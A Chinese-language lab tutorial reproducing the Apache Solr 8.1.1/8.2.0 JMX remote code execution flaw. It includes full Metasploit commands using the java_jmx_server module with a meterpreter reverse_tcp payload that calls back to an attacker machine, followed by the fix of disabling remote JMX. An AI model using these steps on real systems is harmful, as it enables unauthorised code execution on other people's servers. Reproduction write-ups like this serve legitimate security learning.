如何进行Apache Solr JMX服务RCE漏洞复现

0x00简介

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

该漏洞源于默认配置文件solr.in.sh中的ENABLE_REMOTE_JMX_OPTS配置选项存在安全风险。

Apache Solr的8.1.1和8.2.0版本的自带配置文件solr.in.sh中存在ENABLE_REMOTE_JMX_OPTS=”true”选项。

如果使用受影响版本中的默认solr.in.sh文件,那么将启用JMX监视并将其暴露在RMI_PORT上(默认值= 18983),

并且无需进行任何身份验证。 如果防火墙中的入站流量打开了此端口,则具有Solr节点网络访问权限的任何人都将能够访问JMX,

并且可以上传恶意代码在Solr服务器上执行。该漏洞不影响Windows系统的用户,仅影响部分版本的Linux用户。

0x01影响版本

Apache Solr8.1.1版本上线时间:2019-05-28

Apache Solr8.2.0版本上线时间:2019-07-25

0x02漏洞危害

如果受害者使用了该默认配置,则会在默认端口18983开放JMX服务,且默认未开启认证。任何可访问此端口的攻击者可利用此漏洞向受影响服务发起攻击,执行任意代码。

0x03环境搭建

Java环境和kali系统、Solr 8.20

Solr 8.20 下载地址:

wget http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip

如何进行Apache Solr JMX服务RCE漏洞复现

使用unzip solr-8.2.0.zip解压

如何进行Apache Solr JMX服务RCE漏洞复现

解压完成后,切换到bin目录启动Solr

./solr start -force

如何进行Apache Solr JMX服务RCE漏洞复现

启动后访问:http://192.168.10.176:8983/

如何进行Apache Solr JMX服务RCE漏洞复现

0x04漏洞复现

攻击机:kali IP:192.168.10.147

受害机:Ubuntu18.6中docker IP:192.168.10.184:8983

1、使用nmap扫描端口后发现18983端口开启

如何进行Apache Solr JMX服务RCE漏洞复现

2、使用Metasploit中的exploit/multi/misc/java_jmx_server模块进行漏洞复现

Ø use exploit/multi/misc/java_jmx_server

Ø set RHOST 192.168.10.184

Ø set RPORT 18983

如何进行Apache Solr JMX服务RCE漏洞复现

再来设置payload:java/meterpreter/reverse_tcp

Ø set payload java/meterpreter/reverse_tcp

Ø set LHOST 192.168.10.147

Ø set LPORT 4444

如何进行Apache Solr JMX服务RCE漏洞复现

3、使用run执行,即可看到成功建立连接

如何进行Apache Solr JMX服务RCE漏洞复现

0x05修复建议

将solr.in.sh配置文件中的ENABLE_REMOTE_JMX_OPTS选项设置为false,然后重启Solr服务。

关于如何进行Apache Solr JMX服务RCE漏洞复现就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

文章标题:如何进行Apache Solr JMX服务RCE漏洞复现,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/24653

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云的头像亿速云认证作者
上一篇 2022年9月13日 下午11:39
下一篇 2022年9月13日 下午11:40

相关推荐

  • JavaScript单线程和任务队列是什么

    本文章是对以往“JavaScript单线程和任务队列是什么”知识点的总结与梳理,不仅内容丰富、详细,而且知识点逻辑十分清晰。相信多数人读完本文后,会对“JavaScript单线程和任务队列是什么”的知识内容,有更为深入的理解和认识。 一、JavaScript为什么设计为单线程? JavaScript…

    2022年6月27日
    51900
  • mysql的密码放在哪个表

    mysql的密码放在user权限表的authentication_string字段中。user表是MySQL中最重要的一个权限表,用来记录允许连接到服务器的账号信息;修改用户密码时,实际就是修改user表中authentication_string字段的值,语法为“SET PASSWORD FOR …

    2022年9月20日
    1.9K00
  • Vue transition过渡组件怎么用

    一、vue里面的transition组件 Vue提供了这个transition组件,可以使得在v-if条件渲染、v-show条件显示、动态组件的时候可以给到任意元素和组件添加了进入或离开元素过渡。 二、transition组件应用CSS过渡 在应用css过渡的时候,transition组件会在恰当的…

    2022年8月29日
    54600
  • 电脑驱动坏了如何修复

    电脑驱动坏了修复方法: 方法一: 1、首先右键点击此电脑,打开“管理”计算机。 2、接着我们进入左边的“设备管理器” 3、然后找到坏了的电脑驱动,右键选中它点击“卸载设备” 4、卸载完成后,再重启电脑,就会自动为你安装了。 方法二: 1、如果系统自动修复不了,那么可以使用驱动软件来修复。 2、现在几…

    2022年9月21日
    1.5K00
  • 如何一键接入排查SolarWinds供应链APT攻击

    SolarWinds供应链APT攻击事件被爆出 近日,SolarWinds供应链APT攻击事件引起了业界的关注。SolarWinds官方发布公告称,在SolarWinds Orion Platform的2019.4 HF5到2020.2.1及其相关补丁包的受影响版本中,存在高度复杂后门行为的恶意代码…

    2022年9月15日
    49700
  • how2heap注意点有哪些

    first-fit 我的理解是分割unsortedbin里面名列前茅个大于要分配的chunk,但是实际上并不是这样 测试程序 #include <stdio.h>#include <stdlib.h>#include <string.h>int main(){ i…

    2022年9月15日
    52600
  • cad字体不显示数字怎么解决

    解决方法 1、首先我们打开软件,找到菜单栏上的格式,再找到下拉菜单上的标注样式管理器。 2、然后在跳转出来的对话框中,点击当前使用的标注样式,然后再点击右侧的修改。 3、然后在跳转的新页面里,我们点击文字的选项,在文字高度这一块把高度数值改大一些。 以上就是“cad字体不显示数字怎么解决”这篇文章的…

    2022年9月16日
    74900
  • windows 0xc0150004如何修复

    0xc0150004修复方法: 方法一: 1、我们可能是缺少一些程序运行的必备组件,这个代码一般是缺少了“vc++” 2、大家可以直接在百度中搜索“Microsoft Visual C++ 2010”将该程序下载安装到电脑里。 3、下载安装完后,再进入系统“C:WindowsWinSxS”文件夹。 …

    2022年9月18日
    79800
  • tplink服务器有什么用

    摘要 TP-Link服务器具有多种用途,1、提供网络设备管理,2、支持远程访问服务,3、优化网络性能,以及4、增强网络安全性。提供网络设备管理 尤其值得关注,它允许管理员集中监控和配置网络内的所有TP-Link设备,有效简化了网络管理流程,确保了网络的高效运行和稳定性。通过这种集中管理方式,管理员可…

    2024年4月25日
    1400
  • 如何分析Google Chrome远程代码执行0Day漏洞通报

    一、概述 2021年4月13日,安天CERT发现国外安全研究员发布了Google Chrome浏览器远程代码执行0Day漏洞的PoC,攻击者可以利用漏洞构造特制的页面,用户访问该页面会造成远程代码执行,漏洞影响Chrome最新正式版(89.0.4389.114)以及所有低版本。安天CERT跟进复现,…

    2022年9月26日
    62400
注册PingCode 在线客服
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部